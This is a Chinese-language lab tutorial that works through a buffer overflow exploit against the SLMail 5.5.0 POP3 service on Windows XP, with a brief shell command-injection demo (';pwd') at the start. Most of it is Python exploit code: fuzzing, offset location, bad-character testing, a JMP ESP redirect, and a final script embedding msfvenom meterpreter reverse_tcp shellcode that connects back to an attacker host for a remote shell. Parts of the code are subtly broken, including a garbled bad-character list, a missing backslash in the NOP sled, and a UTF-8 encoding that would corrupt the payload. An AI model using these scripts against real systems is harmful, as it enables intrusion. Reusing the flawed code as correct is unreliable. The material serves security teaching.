av8av:是渗透测试中的缓冲区溢出

前面我们介绍了一些漏洞扫描器,这些工具针对的都是已经被发现、被公布出来的漏洞,只要安全工程师打补丁打得够勤快,都是能比较容易做好防护的。

这里主要就是介绍一下如何找出还未公布出来的漏洞。

首先我们要知道计算机程序的漏洞是从哪里来的。罪恶的根源是程序中的变量,数据与代码边界不清往往会产生漏洞。

最简单漏洞原理就是shell脚本漏洞。我们写个shell脚本,脚本中只有一个echo命令:

a.sh

正常情况下这个脚本的作用就是带什么参数,直接作为字符串输出:

./a.sh pwd

但是当输入一些特殊的值时,输出的结果和预期的就不一致了:

./a.sh ;pwd

脚本将pwd作为了系统命令执行了,输出了当前目录地址。当然不仅仅是分号能利用这个漏洞,管道符(|)、and(&&)、and(&)都可以利用这个漏洞。

这个漏洞,或者说大多数漏洞,产生的原因都是因为没有对用户传入的参数进行校验、过滤导致的。

缓冲区溢出

缓冲区是内存的一个片段。当缓冲区边界不严格时,由于变量传入畸形数据或程序,导致缓冲区撑破,从而覆盖了相邻内存数据。最终产生修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权等比较严重的后果。

如何发现缓存区溢出的漏洞呢?主要是以下几种方式:

代码审计逆向工程模糊测试

源码审计,首先需要能接触到源代码,这种方式一般适用于自己公司的项目,且有权限能获取到。

逆向工程主要是在获取不到源代码的情况下来展开,进行反编译或者其他的方法。

模糊测试主要是配置一个测试环境,让程序在测试环境中运行,然后传入任意的值,监测程序的内存变化、数据响应,归纳一下步骤就是这样:

程序堆栈输入半随机的数据、根据内存变化判断溢出;数据生成器:生成随机、半随机数据测试工具:识别缓冲区溢出漏洞缓冲区溢出:SLMail 5.5.0 Mail Sever

网上有一个比较知名的在windows xp系统上的案例SLMail 5.5.0版本的软件,有一个缓冲区溢出的漏洞。不过现在基本没人用这个版本的软件了,连安装包也比较难找了,如果哪位同学想实操练习一下,可以私信我,我本地电脑还有这个安装包。像之后的Windows7、8、10都对这类漏洞做了处理,就算软件本身有漏洞,系统也能防止其他人使用利用这个漏洞。

测试准备:1.一台WindowsXP的靶机,一台kali的攻击机。

在靶机上安装SLMail 5.5.0 Mail Sever和ImmunityDebugger(这个是动态调试工具,有些同学喜欢用OllyDbg,也没问题,我只是电脑配置低,有点带不动OllyDbg)。

在靶机上检查SLMail的服务处于启动状态,可以通过netstat查看25端口是否是打开状态;也可以在运行小弹窗(快捷键win+R)里输入services.msc打开服务窗口,查看具体服务是否是已开启。

netstat -nao

services.msc

如果上面检查端口时发现端口没有开启,可以看一下防火墙是否处于开启状态,防火墙会关闭或者过滤端口。

如果靶机的环境都已经准备完毕,就可以用攻击机直接连接靶机的110端口了,就直接用nc就行,比如nc ip 端口。连上以后可以输入两个命令USER XXX和PASS XXX。缓冲区溢出就是发生在输入PASS命令这个环节。

模糊判断溢出位置

先将靶机里面的ImmunityDebugger打开,附加SLmail进程:

attach入口

选中SLmail

点击菜单中的run:

点击run

注意此时的EIP寄存器为:7C92E4F4,这是ASCII码的十六进制。因为EIP寄存器的值代表着计算机要执行的下一步指令的内存地址,所以最终目的是要让字符溢出到EIP寄存器,并且知道这4个字节在溢出字符中的位置。

EIP寄存器

用python写一个模糊测试的脚本1.py:

#!/usr/bin/python3#coding=UTF-8import socketbuffer=["A"]counter=100while len(buffer) <= 50: buffer.append("A"*counter) counter=counter+200for string in buffer: print("Fuzzing PASS with %s bytes" % len(string)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.0.103',110)) s.recv(1024) send='USER test\r\n'.encode('utf-8') s.send(send) s.recv(1024) send='PASS ' + string + '\r\n' s.send(send.encode('utf-8')) s.send('QUIT\r\n'.encode('utf-8')) s.close()

脚本添加执行权限,然后在攻击机上执行。当PASS命令传输长度到达2900个字节的时候,不再能够继续连接,说明靶机上的服务已经崩溃。

停留在执行2900bytes

回到靶机到ImmunityDebugger查看EIP寄存器,发现已经被填充为41414141,这里的41就是字母A的ASCII码的是十六进制。所以此时已经发生了缓冲区溢出,且溢出字符小于2900bytes。

EIP寄存器

精确判断溢出位置

接下来要精确找出溢出的位置。在靶机上到services.msc的服务窗口,将服务重新启动起来。使用ImmunityDebugger attach SLmail,并运行。

在攻击机上生成一个长度为2900字节的唯一字符串,这样再次发生溢出的时候,查看EIP被占用的字符串即可精确定位溢出字符的位置。这个2900字节的字符串最好找工具直接生成,比如MSF的工具就可以:

./pattern_create.rb -l 2900

修改一下前面的python脚本保存为2.py:

#!/usr/bin/python3#coding=UTF-8import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 唯一字符串string='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds' try: print ('\nSending evil string...') s.connect(('192.168.0.103',110)) s.recv(1024) send='USER test\r\n'.encode('utf-8') s.send(send) s.recv(1024) send='PASS ' + string + '\r\n' s.send(send.encode('utf-8')) print ('\nDone!')except: print ('Could not connect to POP3!')

执行2.py之后,回到靶机,可以看到EIP寄存器的值是39694438:

EIP寄存器

因为在内存中数据的读写顺序与人类读写顺序相反,则此ASCII码应为38 44 69 39,转换出来就是8Di9,网上有很多在线的ASCII转换工具,如果对于ASCII码转换不太熟练,可以直接使用在线工具:

在线转换ASCII转换工具

如果前面使用MSF工具生成的字符串,可以继续使用这个工具定位这四个字符的位置:

./pattern_offset.rb -q 8Di9

显示结果为2606,表示这个字符串之前有2606个字符,所以溢出的字符是从第2607个字节开始的,即2607、2608、2609和2610。

如果对于结果不太信任,也可以再验证一下,通过以下脚本:

#!/usr/bin/python3import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)buffer = 'A' * 2606+'B'*4+'C'*20 try: print('\nSending evil buffer...') s.connect(('192.168.0.103',110)) data = s.recv(1024) s.send('USER test\r\n'.encode('utf-8')) data = s.recv(1024) s.send(('PASS ' + buffer + '\r\n').encode('utf-8')) print('\nDone!.')except: print('Could not connect to POP3!')

执行上面的脚本后应该能在EIP中看到四个B的ASCII码的是十六进制值:

EIP寄存器

判断shellcode空间大小

接下来就需要计算存放shellcode的内存空间了。在重新启动SLmail服务后,执行以下上面2900个字节的脚本,在ImmunityDebugger中找到ESP(不一定必须是ESP,只要你能找到一个固定的空间可以存放shellcode,并且能知道内存地址就可以),右键点击Follow in Dump:

Follow in Dump

可以看到存放了唯一字符串的ESP地址,定位最后四个字符,并记下其对应十六进制数:73354473。将其倒序(存在存读机制):73443573。

ESP

利用MSF工具定位这四个字符的位置:

./pattern_offset.rb -q s5Ds

发现其之前有2896个字节,加上最后4个字节,再除去EBP和EIP所占的2610个字节,那么ESP的可利用内存有290个字节。

找出了ESP的可利用空间,那么这些空间可以用于存放ShellCode。

找出影响shellcode的坏字符

一些字符不能存入内存。 不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,坏字符通常会截断后面的字符。比如:

null byte(0x00)空字符,用于终止字符串拷贝的操作return (0x0D)回车操作,表示POP3 PASS命令输入完成

解决方法:发送0x00-0xff共256个字符,逐个删除截断了后面的字符,从而判断哪些字符不可用。

#!/usr/bin/python3import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)badchars = ('\x01\x02\x03\x04\x05\x06\x07\x08\x09\x09\x0b\x0c\x0d\x0e\x0f\x0f''\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x10''\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x20''\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x30''\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x40''\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x50''\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x60''\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x70''\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x80''\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\x90''\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xa0''\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xb0''\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xc0''\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xd0''\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xe0''\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf0') buffer = 'A'*2606 + 'B'*4 + badchars try: print('\nSending evil buffer...') s.connect(('192.168.0.103',110)) data = s.recv(1024) s.send('USER test\r\n'.encode('utf-8')) data = s.recv(1024) s.send(('PASS '+buffer+'\r\n').encode('utf-8')) print('\nDone!.')except: print('Could not connect to POP3!')

执行脚本后可以看到:

ESP

脚本中09后面传递的是x0a,存入结果显然异常了,所以x0a可能有问题,将脚本中的x0a替换掉,再次执行:

ESP

可以看到x0d缺失了,且x0f之后的值不是预期的00,将x00替换掉,如此循环操作,就可以得到所有的坏字符:x0a、x0d、x00

找到稳定的重定向到ESP的方法

接下来就需要重定向数据流,将ESP的地址存到EIP里面,让程序自动去跑存入ESP里面的shellcode。但是ESP的地址是变化的,不能使用硬编码。在SLMali线程应用程序中,操作系统为每个线程分配一段的地址范围,每个线程地址范围不确定。

所以这里就需要换一个思路,简单来说就是在系统里找一个固定的地址,在EIP里存这个地址,在这里地址里执行跳转到ESP的指令,最终执行shellcode。mona.py脚本可以用于识别内存模块,搜索“return address”是JMP ESP指令的模块

!mona modules

需要选择前4个是false的,最后一个是true的。就只有三四个,但是其中只有slmfc.dll模块中含有 jmp esp

!mona find -s " \xff\xe4" -m slmfc.dll

其中 \xff\xe4 是汇编语言中的 jmp esp,可以通过kali工具翻译:

./nasm_shell.rb

输入十六进制需要加上 \x 。后面就以第一个作为jmp esp。

双击查找的第一个 jmp esp,就可以看到地址是 5F4A358F:

第一个 jmp esp

在这个jmp esp上设置断点:

设置断点

执行下面这个脚本:

#!/usr/bin/python3import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)buffer = 'A'*2606 + '\x8f\x35\x4a\x5f' + 'C'*900 try: print('\nSending evil buffer...') s.connect(('192.168.0.103',110)) data = s.recv(1024) s.send('USER test\r\n'.encode('utf-8')) data = s.recv(1024) s.send(('PASS '+buffer+'\r\n').encode('utf-8')) print('\nDone!.')except: print('Could not connect to POP3!')

执行脚本后,在ImmunityDebugger底部会有提示,已经执行到断点。

这时按下F7单步执行:

单步执行

就可以看到,已经跳转到esp,里面装的43 也即是C。

构造shellcode

kali中有工具msfvenom可以用来生成shellcode,在这里shellcode相当于是一个病毒。

正向开后门基本杜绝,要进行反向开后门:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 -f c

用获取的shellcode写一个攻击脚本:

#!/usr/bin/python3import socket s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)shellcode = ("\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x8b\x52""\x0c\x8b\x52\x14\x89\xe5\x8b\x72\x28\x31\xff\x0f\xb7\x4a\x26""\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49""\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78""\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3""\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xc1""\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24""\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c""\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59""\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d""\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26""\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68""\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x00\x66\x68\x02""\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea""\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61""\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00""\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83""\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a""\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57""\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00""\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68""\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff""\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb""\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5") buffer = 'A'*2606 + '\x8f\x35\x4a\x5f' + 'x90'*9 + shellcode try: print('\nSending evil buffer...') s.connect(('192.168.0.103',110)) data = s.recv(1024) s.send('USER test\r\n'.encode('utf-8')) data = s.recv(1024) s.send(('PASS '+buffer+'\r\n').encode('utf-8')) print('\nDone!.')except: print('Could not connect to POP3!')

上面的\x90 代表NOP,不执行,目的是防止后面的shellcode因为其他原因缺失前面几个字节。

在kali攻击机上用nc监听4444端口,然后执行攻击脚本,就能获取到靶机的shell了,如果还想进入图形化界面,可以再下载一个图形化木马管理程序,一般是没什么必要了。